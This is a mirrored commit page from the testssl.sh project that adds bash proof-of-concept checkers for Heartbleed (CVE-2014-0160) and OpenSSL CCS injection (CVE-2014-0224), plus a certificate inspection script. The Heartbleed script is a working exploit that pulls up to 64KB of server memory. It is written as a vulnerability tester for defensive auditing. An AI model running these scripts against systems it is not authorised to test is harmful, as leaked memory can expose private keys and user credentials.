mirror of
https://github.com/drwetter/testssl.sh.git
synced 2025-09-04 02:58:28 +02:00
- moved utils to separate dir
This commit is contained in:
23
utils/bash-heartbleed.changelog.txt
Normal file
23
utils/bash-heartbleed.changelog.txt
Normal file
@ -0,0 +1,23 @@
|
||||
1.7, 2014-04-30 23:06:55 +0200;
|
||||
- legal disclaimer
|
||||
----------------------------
|
||||
1.6 2014-04-18 14:01:19 +0200;
|
||||
- possible to supply URLs now
|
||||
- cleanup
|
||||
----------------------------
|
||||
1.5, 2014-04-18 11:01:51 +0200;
|
||||
- broader ascii output
|
||||
- back at 64k
|
||||
----------------------------
|
||||
1.4, 2014-04-15 21:56:47 +0200;
|
||||
- few comments for educational purposes added
|
||||
----------------------------
|
||||
1.3,
|
||||
- retrieves data
|
||||
----------------------------
|
||||
1.2, 2014-04-15 20:58:55 +0200;
|
||||
- PoC complete
|
||||
----------------------------
|
||||
1.1, 2014-04-15 20:47:48 +0200;
|
||||
- Initial version
|
||||
|
145
utils/bash-heartbleed.sh
Normal file
145
utils/bash-heartbleed.sh
Normal file
@ -0,0 +1,145 @@
|
||||
#!/bin/bash
|
||||
|
||||
# POC bash socket implementation of heartbleed (CVE-2014-0160), see also http://heartbleed.com/
|
||||
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
|
||||
#
|
||||
# sockets inspired by http://blog.chris007.de/?p=238
|
||||
# heartbleed mainly adapted from https://gist.github.com/takeshixx/10107280
|
||||
#
|
||||
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
|
||||
|
||||
NODE=""
|
||||
SLEEP=2
|
||||
COL_WIDTH=32
|
||||
|
||||
[ -z "$1" ] && exit 1
|
||||
|
||||
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
|
||||
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
|
||||
TLSV=${2:-x01}
|
||||
|
||||
heartbleed_payload="\x18\x03\tls_version\x00\x03\x01\x40\x00"
|
||||
## ^^^^^^^ this is the thing!
|
||||
|
||||
client_hello="
|
||||
# TLS header ( 5 bytes)
|
||||
,x16, # Content type (x16 for handshake)
|
||||
x03, tls_version, # TLS Version
|
||||
x00, xdc, # Length
|
||||
# Handshake header
|
||||
x01, # Type (x01 for ClientHello)
|
||||
x00, x00, xd8, # Length
|
||||
x03, tls_version, # TLS Version
|
||||
# Random (32 byte) Unix time etc, see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
|
||||
x53, x43, x5b, x90, x9d, x9b, x72, x0b,
|
||||
xbc, x0c, xbc, x2b, x92, xa8, x48, x97,
|
||||
xcf, xbd, x39, x04, xcc, x16, x0a, x85,
|
||||
x03, x90, x9f, x77, x04, x33, xd4, xde,
|
||||
x00, # Session ID length
|
||||
x00, x66, # Cipher suites length
|
||||
# Cipher suites (51 suites)
|
||||
xc0, x14, xc0, x0a, xc0, x22, xc0, x21,
|
||||
x00, x39, x00, x38, x00, x88, x00, x87,
|
||||
xc0, x0f, xc0, x05, x00, x35, x00, x84,
|
||||
xc0, x12, xc0, x08, xc0, x1c, xc0, x1b,
|
||||
x00, x16, x00, x13, xc0, x0d, xc0, x03,
|
||||
x00, x0a, xc0, x13, xc0, x09, xc0, x1f,
|
||||
xc0, x1e, x00, x33, x00, x32, x00, x9a,
|
||||
x00, x99, x00, x45, x00, x44, xc0, x0e,
|
||||
xc0, x04, x00, x2f, x00, x96, x00, x41,
|
||||
xc0, x11, xc0, x07, xc0, x0c, xc0, x02,
|
||||
x00, x05, x00, x04, x00, x15, x00, x12,
|
||||
x00, x09, x00, x14, x00, x11, x00, x08,
|
||||
x00, x06, x00, x03, x00, xff,
|
||||
x01, # Compression methods length
|
||||
x00, # Compression method (x00 for NULL)
|
||||
x00, x49, # Extensions length
|
||||
# Extension: ec_point_formats
|
||||
x00, x0b, x00, x04, x03, x00, x01, x02,
|
||||
# Extension: elliptic_curves
|
||||
x00, x0a, x00, x34, x00, x32, x00, x0e,
|
||||
x00, x0d, x00, x19, x00, x0b, x00, x0c,
|
||||
x00, x18, x00, x09, x00, x0a, x00, x16,
|
||||
x00, x17, x00, x08, x00, x06, x00, x07,
|
||||
x00, x14, x00, x15, x00, x04, x00, x05,
|
||||
x00, x12, x00, x13, x00, x01, x00, x02,
|
||||
x00, x03, x00, x0f, x00, x10, x00, x11,
|
||||
# Extension: SessionTicket TLS
|
||||
x00, x23, x00, x00,
|
||||
# Extension: Heartbeat
|
||||
x00, x0f, x00, x01, x01
|
||||
"
|
||||
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
|
||||
|
||||
|
||||
parse_hn_port() {
|
||||
PORT=443 # unless otherwise auto-determined, see below
|
||||
NODE="$1"
|
||||
|
||||
# strip "https", supposed it was supplied additionally
|
||||
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
|
||||
|
||||
# strip trailing urlpath
|
||||
NODE=`echo $NODE | sed -e 's/\/.*$//'`
|
||||
|
||||
# determine port, supposed it was supplied additionally
|
||||
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
|
||||
's/\:.*$//'`
|
||||
}
|
||||
|
||||
socksend() {
|
||||
data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
|
||||
echo "\"$data\""
|
||||
echo -en "$data" >&5 &
|
||||
sleep $SLEEP
|
||||
}
|
||||
|
||||
sockread()
|
||||
{
|
||||
reply=`dd bs=$1 count=1 <&5 2>/dev/null`
|
||||
}
|
||||
|
||||
|
||||
#### main
|
||||
|
||||
parse_hn_port "$1"
|
||||
|
||||
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
|
||||
echo "`basename $0`: unable to connect to $NODE:$PORT"
|
||||
exit 2
|
||||
fi
|
||||
# socket is now open with fd 5
|
||||
|
||||
|
||||
|
||||
echo "##### sending client hello:"
|
||||
socksend "$msg" $TLSV
|
||||
|
||||
sockread 16384
|
||||
echo "##### server hello:"
|
||||
echo -e "$reply" | xxd | head -20
|
||||
echo "[...]"
|
||||
echo
|
||||
|
||||
echo "##### sending payload with TLS version $TLSV:"
|
||||
socksend $heartbleed_payload $TLSV
|
||||
|
||||
sockread 65534
|
||||
echo "###### heartbleed reply: "
|
||||
echo -e "$reply" | xxd -c$COL_WIDTH
|
||||
echo
|
||||
|
||||
lines_returned=`echo -e "$reply" | xxd | wc -l`
|
||||
if [ $lines_returned -gt 1 ]; then
|
||||
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
|
||||
ret=1
|
||||
else
|
||||
tput bold; tput setaf 2; echo "ok"; tput sgr0
|
||||
ret=0
|
||||
fi
|
||||
echo
|
||||
|
||||
exit $ret
|
||||
|
||||
# vim:tw=100:ts=5:sw=5
|
||||
# $Id: bash-heartbleed.sh,v 1.6 2014/04/18 12:01:19 dirkw Exp $
|
194
utils/ccs-injection.sh
Executable file
194
utils/ccs-injection.sh
Executable file
@ -0,0 +1,194 @@
|
||||
#!/bin/bash
|
||||
|
||||
# POC bash socket implementation of CCS Injection vulnerability in OpenSSL (CVE-2014-0224),
|
||||
# see https://www.openssl.org/news/secadv_20140605.txt
|
||||
# Author: Dirk Wetter, GPLv2 see https://testssl.sh/LICENSE.txt
|
||||
#
|
||||
# sockets inspired by http://blog.chris007.de/?p=238
|
||||
# mainly adapted from the C code from https://gist.github.com/rcvalle/71f4b027d61a78c42607
|
||||
# thx Ramon de C Valle
|
||||
#
|
||||
###### DON'T DO EVIL! USAGE AT YOUR OWN RISK. DON'T VIOLATE LAWS! #######
|
||||
|
||||
NODE=""
|
||||
SLEEP=2
|
||||
DEBUG=${DEBUG:-0}
|
||||
|
||||
[ -z "$1" ] && exit 1 # host
|
||||
|
||||
TLSV=${2:-x01}
|
||||
# TLS 1.0=x01 1.1=0x02, 1.2=0x3
|
||||
# the PoC contains per default only check for TLS1.0 as the is the least common denominator
|
||||
|
||||
ccs_message="\x14\x03\tls_version\x00\x01\x01"
|
||||
## ^^^^^^^ this is the thing!
|
||||
|
||||
client_hello="
|
||||
# TLS header ( 5 bytes)
|
||||
,x16, # Content type (x16 for handshake)
|
||||
x03, tls_version, # TLS Version
|
||||
x00, x93, # Length total
|
||||
# Handshake header
|
||||
x01, # Type (x01 for ClientHello)
|
||||
x00, x00, x8f, # Length client hello
|
||||
x03, tls_version, # TLS Version
|
||||
x53, x9c, xb2, xcb, # 4 bytes Unix time see www.moserware.com/2009/06/first-few-milliseconds-of-https.html
|
||||
x4b, x42, xf9, x2d, x0b, xe5, x9c, x21, # 28 bytes random bytes
|
||||
xf5, xa3, x89, xca, x7a, xd9, xb4, xab,
|
||||
x3f, xd3, x22, x21, x5e, xc4, x65, x0d,
|
||||
x1e, xce, xed, xc2,
|
||||
x00, # Session ID length
|
||||
x00, x68, # Cipher suites length
|
||||
xc0, x13, # ciphers come now, here: ECDHE-RSA-AES128-SHA = TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
|
||||
xc0, x12,
|
||||
xc0, x11,
|
||||
xc0, x10,
|
||||
xc0, x0f,
|
||||
xc0, x0e,
|
||||
xc0, x0d,
|
||||
xc0, x0c,
|
||||
xc0, x0b,
|
||||
xc0, x0a,
|
||||
xc0, x09,
|
||||
xc0, x08,
|
||||
xc0, x07,
|
||||
xc0, x06,
|
||||
xc0, x05,
|
||||
xc0, x04,
|
||||
xc0, x03,
|
||||
xc0, x02,
|
||||
xc0, x01,
|
||||
x00, x39,
|
||||
x00, x38,
|
||||
x00, x37,
|
||||
x00, x36,
|
||||
x00, x35,
|
||||
x00, x34,
|
||||
x00, x33,
|
||||
x00, x32,
|
||||
x00, x31,
|
||||
x00, x30,
|
||||
x00, x2f,
|
||||
x00, x16,
|
||||
x00, x15,
|
||||
x00, x14,
|
||||
x00, x13,
|
||||
x00, x12,
|
||||
x00, x11,
|
||||
x00, x10,
|
||||
x00, x0f,
|
||||
x00, x0e,
|
||||
x00, x0d,
|
||||
x00, x0c,
|
||||
x00, x0b,
|
||||
x00, x0a,
|
||||
x00, x09,
|
||||
x00, x08,
|
||||
x00, x07,
|
||||
x00, x06,
|
||||
x00, x05,
|
||||
x00, x04,
|
||||
x00, x03,
|
||||
x00, x02,
|
||||
x00, x01, # TLS_RSA_WITH_NULL_MD5
|
||||
x01, x00" # compression methods length (1) + Compression method(1)
|
||||
|
||||
msg=`echo "$client_hello" | sed -e 's/# .*$//g' -e 's/,/\\\/g' | sed -e 's/ //g' | tr -d '\n'`
|
||||
|
||||
|
||||
parse_hn_port() {
|
||||
PORT=443 # unless otherwise auto-determined, see below
|
||||
NODE="$1"
|
||||
|
||||
# strip "https", supposed it was supplied additionally
|
||||
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' `
|
||||
|
||||
# strip trailing urlpath
|
||||
NODE=`echo $NODE | sed -e 's/\/.*$//'`
|
||||
|
||||
# determine port, supposed it was supplied additionally
|
||||
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed
|
||||
's/\:.*$//'`
|
||||
}
|
||||
|
||||
socksend() {
|
||||
data=`echo $1 | sed 's/tls_version/'"$2"'/g'`
|
||||
echo "\"$data\""
|
||||
echo -en "$data" >&5 || return 1
|
||||
sleep $SLEEP
|
||||
return 0
|
||||
}
|
||||
|
||||
sockread()
|
||||
{
|
||||
reply=`dd bs=$1 count=1 <&5 2>/dev/null`
|
||||
}
|
||||
|
||||
ok_ids(){
|
||||
echo
|
||||
tput bold; tput setaf 2; echo "ok -- something resetted our ccs packets"; tput sgr0
|
||||
echo
|
||||
exit 0
|
||||
}
|
||||
|
||||
|
||||
#### main
|
||||
|
||||
parse_hn_port "$1"
|
||||
|
||||
if ! exec 5<> /dev/tcp/$NODE/$PORT; then
|
||||
echo "`basename $0`: unable to connect to $NODE:$PORT"
|
||||
exit 2
|
||||
fi
|
||||
# socket is now open with fd 5
|
||||
|
||||
|
||||
echo "##### sending client hello:"
|
||||
socksend "$msg" $TLSV
|
||||
sleep 1
|
||||
|
||||
sockread 10000
|
||||
echo -e "\n##### server hello\c"
|
||||
if test $DEBUG ; then
|
||||
echo ":"
|
||||
echo -e "$reply" | xxd -c32 | head -20
|
||||
echo "[...]"
|
||||
echo
|
||||
fi
|
||||
|
||||
echo "##### sending ccs injection with TLS version $TLSV:"
|
||||
socksend "$ccs_message" $TLSV || ok_ids
|
||||
sleep 1
|
||||
socksend "$ccs_message" $TLSV || ok_ids
|
||||
sleep 1
|
||||
|
||||
sockread 65534
|
||||
echo
|
||||
echo "###### reply: "
|
||||
echo -e "$reply" | xxd -c32
|
||||
echo
|
||||
|
||||
reply_sanitized=`echo -e "$reply" | xxd -p | tr -cd '[:print:]' | sed 's/^..........//'`
|
||||
test $DEBUG || echo $reply_sanitized
|
||||
|
||||
lines=`echo -e "$reply" | xxd -c32 | wc -l`
|
||||
test $DEBUG || echo $lines
|
||||
|
||||
if [ "$lines" -gt 1 ] || [ "$reply_sanitized" == "0a" ] ;then
|
||||
tput bold; tput setaf 2; echo "ok"; tput sgr0
|
||||
ret=0
|
||||
else
|
||||
tput bold; tput setaf 1; echo "VULNERABLE"; tput sgr0
|
||||
ret=1
|
||||
fi
|
||||
|
||||
# closing fd:
|
||||
exec 5<&-
|
||||
exec 5>&-
|
||||
|
||||
echo
|
||||
exit $ret
|
||||
|
||||
|
||||
# vim:tw=100:ts=5:sw=5
|
||||
# $Id: ccs-injection.sh,v 1.5 2014/11/03 20:45:47 dirkw Exp $
|
343
utils/checkcert.sh
Executable file
343
utils/checkcert.sh
Executable file
@ -0,0 +1,343 @@
|
||||
#!/bin/bash
|
||||
|
||||
|
||||
# on the command line:
|
||||
# STARTTLS="-starttls $protocol"; export STARTTLS
|
||||
# protocol=smtp,impa,pop,xmpp,jabber
|
||||
|
||||
##### THIS WILL BE INTEGRATED INTO testssl.sh
|
||||
##### it has no production qualiity yet and I'll likely disregard
|
||||
##### any issues/patches until this will be done
|
||||
#
|
||||
# license is GPLv2, see file LICENSE
|
||||
|
||||
|
||||
DAYS2WARN=60
|
||||
|
||||
ECHO="/bin/echo -e"
|
||||
COLOR=0
|
||||
|
||||
CA_BUNDLE="/etc/ssl/ca-bundle.pem"
|
||||
CA_BUNDLE_CMD="-CApath /etc/ssl/certs/"
|
||||
#CA_BUNDLE_CMD="-CAfile $CA_BUNDLE"
|
||||
#`openssl version -d` /certs/
|
||||
|
||||
off() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[m\c"; fi
|
||||
}
|
||||
|
||||
bold() {
|
||||
$ECHO "\033[1m$1"; off
|
||||
}
|
||||
|
||||
underscore() {
|
||||
$ECHO "\033[4m$1\c"; off
|
||||
}
|
||||
|
||||
|
||||
blue() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[1;34m$1 "; else $ECHO "**$1** "; fi
|
||||
off
|
||||
}
|
||||
|
||||
brown() {
|
||||
[ $COLOR = 0 ] && $ECHO "\033[0;33m$1 " || out "**$1** "
|
||||
off
|
||||
}
|
||||
|
||||
|
||||
green() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[1;32m$1 "; else $ECHO "**$1** "; fi
|
||||
off
|
||||
}
|
||||
lgreen() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[0;32m$1 "; else $ECHO "**$1** "; fi
|
||||
off
|
||||
}
|
||||
|
||||
red() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[1;31m$1 "; else $ECHO "**$1** "; fi
|
||||
off
|
||||
}
|
||||
lred() {
|
||||
if [ $COLOR = 0 ]; then $ECHO "\033[0;31m$1 "; else $ECHO "**$1** "; fi
|
||||
off
|
||||
}
|
||||
|
||||
|
||||
datebanner() {
|
||||
tojour=`date +%F`" "`date +%R`
|
||||
echo
|
||||
bold "$1 now ($tojour) ---> $NODEIP:$PORT ($NODE) <---"
|
||||
}
|
||||
|
||||
|
||||
dns() {
|
||||
ip4=`host -t a $1 | grep -v alias | sed 's/^.*address //'`
|
||||
which getent 2>&1 >/dev/null && getent ahostsv4 $1 2>&1 >/dev/null && ip4=`getent ahostsv4 $1 | awk '{ print $1}' | uniq`
|
||||
NODEIP=`echo "$ip4" | head -1`
|
||||
rDNS=`host -t PTR $NODEIP | sed -e 's/^.*pointer //' -e 's/\.$//'`
|
||||
echo $rDNS | grep -q NXDOMAIN && rDNS=""
|
||||
}
|
||||
|
||||
|
||||
display_dns() {
|
||||
$ECHO
|
||||
[ -n "$rDNS" ] && $ECHO "rDNS: $rDNS"
|
||||
if [ `echo "$ip4" | wc -l` -gt 1 ]; then
|
||||
$ECHO "$1 other IPv4 adresses:\c"
|
||||
for i in $ip4; do
|
||||
[ "$i" == "$NODEIP" ] && continue
|
||||
$ECHO " $i\c"
|
||||
done
|
||||
fi
|
||||
echo
|
||||
}
|
||||
|
||||
|
||||
############## main
|
||||
|
||||
NODE="$1"
|
||||
[ -z "$NODE" ] && echo "arg1 (=node) missing" && exit 1
|
||||
PORT=${2:-443}
|
||||
|
||||
# strip "https" and trailing urlpath supposed it was supplied additionally
|
||||
echo $NODE | grep -q 'https://' && NODE=`echo $NODE | sed -e 's/https\:\/\///' -e 's/\/.*$//'`
|
||||
|
||||
# determine port, supposed it was supplied additionally
|
||||
echo $NODE | grep -q ':' && PORT=`echo $NODE | sed 's/^.*\://'` && NODE=`echo $NODE | sed 's/\:.*$//'`
|
||||
|
||||
dns $NODE
|
||||
datebanner "Testing" $NODE
|
||||
display_dns $NODE
|
||||
|
||||
TMPDIR=`mktemp -d /tmp/checkcert.$NODE.$PORT.XXXXXX` || exit 6
|
||||
HOSTCERT_SNI="$TMPDIR/hostcert_sni.txt"
|
||||
HOSTCERT="$TMPDIR/hostcert.txt"
|
||||
|
||||
FD2_HOST_SNI="$TMPDIR/fd2_host_sni.txt"
|
||||
FD2_HOST="$TMPDIR/fd2_host.txt"
|
||||
|
||||
# test whether I can ssl to it:
|
||||
#echo | openssl s_client -connect $NODE:$PORT 2>&1 >/dev/null || exit 7
|
||||
|
||||
SNI="-servername $NODE"
|
||||
# dl pub key
|
||||
openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>$FD2_HOST_SNI </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT_SNI
|
||||
openssl s_client $STARTTLS -connect $NODEIP:$PORT 2>$FD2_HOST </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }' >$HOSTCERT
|
||||
|
||||
#bold "\nTrust\n"
|
||||
#openssl verify -verbose $HOSTCERT
|
||||
#http://www.madboa.com/geek/openssl/#verify-standardA
|
||||
#http://www.madboa.com/geek/openssl/#verify-system
|
||||
#echo $?
|
||||
|
||||
bold "\nPubkey"
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -pubkey
|
||||
|
||||
bold "\nFingerprint/Serial"
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -fingerprint
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -serial
|
||||
|
||||
bold "\nSignature Algorithm"
|
||||
algo=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep "Signature Algorithm" | sed 's/^.*Signature Algorithm: //' | sort -u `
|
||||
case $algo in
|
||||
sha1WithRSAEncryption) brown "SHA1withRSA" ;;
|
||||
sha256WithRSAEncryption) lgreen "SHA256withRSA" ;;
|
||||
sha512WithRSAEncryption) lgreen "SHA512withRSA" ;;
|
||||
md5*) red "MD5" ;;
|
||||
*) echo $algo ;;
|
||||
#https://blog.hboeck.de/archives/754-Playing-with-the-EFF-SSL-Observatory.html
|
||||
esac
|
||||
|
||||
# Secs of a day:
|
||||
SECS2WARN=`echo "24 * 60 * 60 * $DAYS2WARN" | bc`
|
||||
|
||||
bold "\nExpiration"
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -startdate -enddate
|
||||
|
||||
expire=`openssl x509 -in $HOSTCERT_SNI -checkend 0`
|
||||
if ! echo $expire | grep -qw not; then
|
||||
red "Certificate has expired!!"
|
||||
else
|
||||
expire=`openssl x509 -in $HOSTCERT_SNI -checkend $SECS2WARN`
|
||||
echo "$expire" | grep -qw not && green "Certificate is ok for the next $DAYS2WARN days" || \
|
||||
lred "Certificate will expire within the next $DAYS2WARN days!"
|
||||
fi
|
||||
|
||||
|
||||
#######
|
||||
bold "\nSubject / CN issues"
|
||||
|
||||
SAN=""
|
||||
SAN=`openssl x509 -noout -in $HOSTCERT -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'`
|
||||
SAN_SNI=`openssl x509 -noout -in $HOSTCERT_SNI -text | grep -A3 "Subject Alternative Name" | grep "DNS:" | sed -e 's/DNS://g' -e 's/ //g' -e 's/,/\n/g'`
|
||||
|
||||
subject_sni=`openssl x509 -noout -in $HOSTCERT_SNI -subject | sed 's/subject= //'`
|
||||
subject_str=`openssl x509 -noout -in $HOSTCERT -subject | sed 's/subject= //'`
|
||||
CN_SNI=`echo $subject_sni | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'`
|
||||
CN=`echo $subject_str | sed -e 's/^.*CN=//' -e 's/\/emailAdd.*//'`
|
||||
$ECHO -n "Common Name: "; underscore "$CN_SNI"
|
||||
|
||||
test "$DEBUG" && $ECHO " ($subject_sni" # complete certificate subject
|
||||
test "$DEBUG" && $ECHO " ($subject_str)" # complete certificate subject
|
||||
#openssl x509 -noout -in $HOSTCERT_SNI -serial -startdate -enddate -dates -subject -issuer -email -ocsp_uri -ocspid -purpose >$TMPDIR/textout_sni.txt
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -text >$TMPDIR/textout_level0.cert_sni.txt
|
||||
|
||||
MATCHOK=0
|
||||
REASON_MATCH=""
|
||||
|
||||
if [ "$CN_SNI" != "$CN" ]; then
|
||||
$ECHO "\nSNI mandatory, otherwise \c"; underscore "$CN\c"; $ECHO " matches\c"
|
||||
#FIXME: e.g. google.de hast google.com as $CN, and google.com includes SAN *.google.de
|
||||
else
|
||||
$ECHO " no SNI needed \c"
|
||||
# haken? siehe lists.appsec.eu vs pm.appsec.eu --> beide haben wildcard
|
||||
fi
|
||||
|
||||
if [ "$NODE" == "$CN" ]; then
|
||||
# $ECHO " matches hostname directly, "
|
||||
REASON_MATCH="direct match,"
|
||||
MATCHOK=1
|
||||
elif [ "$CN_SNI" == "$NODE" ]; then ###?????
|
||||
# $ECHO " matches hostname via SNI, "
|
||||
REASON_MATCH="SNI,"
|
||||
MATCHOK=1
|
||||
fi
|
||||
|
||||
if [ x"$SAN_SNI" != x"$CN_SNI" ]; then
|
||||
$ECHO "\nSAN exist:\c"
|
||||
for subjectAltName in `$ECHO $SAN_SNI`; do
|
||||
if [ "$NODE" == "$subjectAltName" ] ; then
|
||||
underscore "$subjectAltName, \c"
|
||||
REASON_MATCH="$REASON_MATCH SAN,"
|
||||
MATCHOK=1
|
||||
else
|
||||
$ECHO " $subjectAltName, \c"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if echo "$CN_SNI" | grep -q '^\*'; then
|
||||
# *.domain.tld = *.domain.tld
|
||||
[ "*.$NODE" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (all subdomains)" && MATCHOK=1
|
||||
# expr: können mehrere Gründe sein!
|
||||
|
||||
# prefix.domain.tld = *.domain.tld
|
||||
domaintld=`echo $NODE | sed 's/^[0-9a-zA-Z]*\.//1'`
|
||||
[ "*.$domaintld" == "$CN_SNI" ] && REASON_MATCH="$REASON_MATCH Wildcard (from TLD)" && MATCHOK=1
|
||||
fi
|
||||
|
||||
if [ $MATCHOK -eq 1 ] ; then
|
||||
green "\nMatch OK\c"
|
||||
$ECHO ": $REASON_MATCH"
|
||||
else
|
||||
red "\nMatch failed"
|
||||
fi
|
||||
|
||||
|
||||
bold "\n\nCertificate chain\c"
|
||||
#openssl x509 -text -in $HOSTCERT | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//'
|
||||
openssl s_client $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/Certificate chain/,/--/ { print $0 }' | sed -e 's/---//' -e 's/Certificate chain//' | tee $TMPDIR/all-chain.txt
|
||||
|
||||
# so alle einsacken:
|
||||
#openssl s_client -showcerts -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | awk '/-----BEGIN/,/-----END/ { print $0 }'
|
||||
savedir=`pwd`; cd $TMPDIR
|
||||
openssl s_client -showcerts $STARTTLS -connect $NODEIP:$PORT $SNI 2>/dev/null </dev/null | \
|
||||
awk -v c=-1 '/-----BEGIN CERTIFICATE-----/{inc=1;c++} inc {print > ("level" c ".crt")} /---END CERTIFICATE-----/{inc=0}'
|
||||
nrsaved=`ls level?.crt | wc -w`
|
||||
$ECHO "retrieved $nrsaved pub certs"
|
||||
# die CA Kette hochgehen
|
||||
for i in level?.crt; do openssl x509 -noout -serial -subject -issuer -in "$i"; echo; done > all.serial-subject-issuer.txt
|
||||
NR_RETRIEVED=`ls -1 level* | wc -l`
|
||||
cd $savedir
|
||||
|
||||
bold "\nChecking issuer chain against local certs"
|
||||
issuerok=`echo | openssl s_client $CA_BUNDLE_CMD -connect $NODEIP:$PORT 2>/dev/null | grep "Verify return code" | sed 's/^.*Verify return code: //'`
|
||||
if echo $issuerok | grep -qw ok ; then
|
||||
green "$issuerok"
|
||||
else
|
||||
red "$issuerok"
|
||||
fi
|
||||
|
||||
bold "\nE-mail"
|
||||
email=`openssl x509 -noout -in $HOSTCERT_SNI -email`
|
||||
[ x"$email" == "x" ] && underscore "<none>" || echo "$email"
|
||||
echo
|
||||
|
||||
|
||||
|
||||
bold "\nOCSP"
|
||||
echo -en "URL: "
|
||||
ocsp_uri=`openssl x509 -noout -in $HOSTCERT_SNI -ocsp_uri`
|
||||
[ x"$ocsp_uri" == "x" ] && lred "<none>" || echo "$ocsp_uri"
|
||||
|
||||
|
||||
# ARG1: level2check
|
||||
# ARG2: issuer of level2check cert
|
||||
check_revocation() {
|
||||
#FIXME: check ocsp/ocsp stapling with CA
|
||||
# * CRLs/OCSP abfragen (http://backreference.org/2010/05/09/ocsp-verification-with-openssl/)
|
||||
|
||||
#FIXME:
|
||||
#ocsp_uri=`openssl x509 -noout -in level$1.crt -ocsp_uri`
|
||||
|
||||
[ -z "$ocsp_uri" ] && lred ".. doesn't have a OCSP URL" && return 1
|
||||
addissuer=""
|
||||
if [ -s $TMPDIR/level$2.crt ]; then
|
||||
addissuer="-issuer $TMPDIR/level$2.crt"
|
||||
NO_ISSUER_PROVIDED=0
|
||||
else
|
||||
addissuer="-issuer $CA_BUNDLE"
|
||||
NO_ISSUER_PROVIDED=1
|
||||
fi
|
||||
|
||||
ocsp_hostheader=`echo $ocsp_uri | sed -e 's/http\:\/\///' -e 's/\/.*$//'` #sometimes needed
|
||||
openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -text -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-longresponse$1.txt
|
||||
openssl ocsp $CA_BUNDLE_CMD $addissuer -cert $TMPDIR/level$1.crt -url $ocsp_uri -header HOST $ocsp_hostheader &>$TMPDIR/ocsp-response$1.txt
|
||||
|
||||
#tmpdir_escaped=`echo $TMPDIR | sed 's/\//\\\//g'`
|
||||
#cat $TMPDIR/ocsp-response.txt | egrep -v "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/'"${tmpdir_escaped}"'//'
|
||||
cat $TMPDIR/ocsp-response$1.txt | egrep -v "^WARNING: no nonce|^Response Verify Failure|OCSP_basic_verify" | sed 's/^.*level/level/'
|
||||
if grep -q "level$1.crt.*good" $TMPDIR/ocsp-response$1.txt ; then
|
||||
green "not revoked (OK)\c"
|
||||
else
|
||||
lred "pls check manually (hint: $TMPDIR/ocsp-longresponse$1.txt). \c"
|
||||
[ $NO_ISSUER_PROVIDED -eq 0 ] && lred " Also the chain might be incomplete\c"
|
||||
fi
|
||||
}
|
||||
|
||||
bold "\nChecking whether server certs have been revoked"
|
||||
#set -x
|
||||
#for level in `seq 1 $NR_RETRIEVED`; do
|
||||
for level in 1; do
|
||||
minus1=`expr $level - 1`
|
||||
$ECHO "##### level$minus1 #####"
|
||||
check_revocation $minus1 $level
|
||||
$ECHO
|
||||
done
|
||||
#set +x
|
||||
|
||||
|
||||
bold "\nPurpose"
|
||||
openssl x509 -noout -in $HOSTCERT_SNI -purpose | grep -v 'Certificate purpose' | grep -i yes
|
||||
|
||||
datebanner "Done" $NODE
|
||||
echo
|
||||
|
||||
printf "logdir is $TMPDIR . Save it? "
|
||||
read a
|
||||
case $a in
|
||||
y|Y|yes|YES) cp -a $TMPDIR $PWD && echo "saved $TMPDIR to $PWD" ;;
|
||||
*) $ECHO "left $TMPDIR"
|
||||
esac
|
||||
|
||||
|
||||
#rm -rf $TMPDIR
|
||||
|
||||
exit 0
|
||||
|
||||
# vim:ts=5:sw=5
|
||||
# $Id: checkcert.sh,v 1.20 2014/09/16 22:38:03 dirkw Exp $
|
||||
|
||||
|
Reference in New Issue
Block a user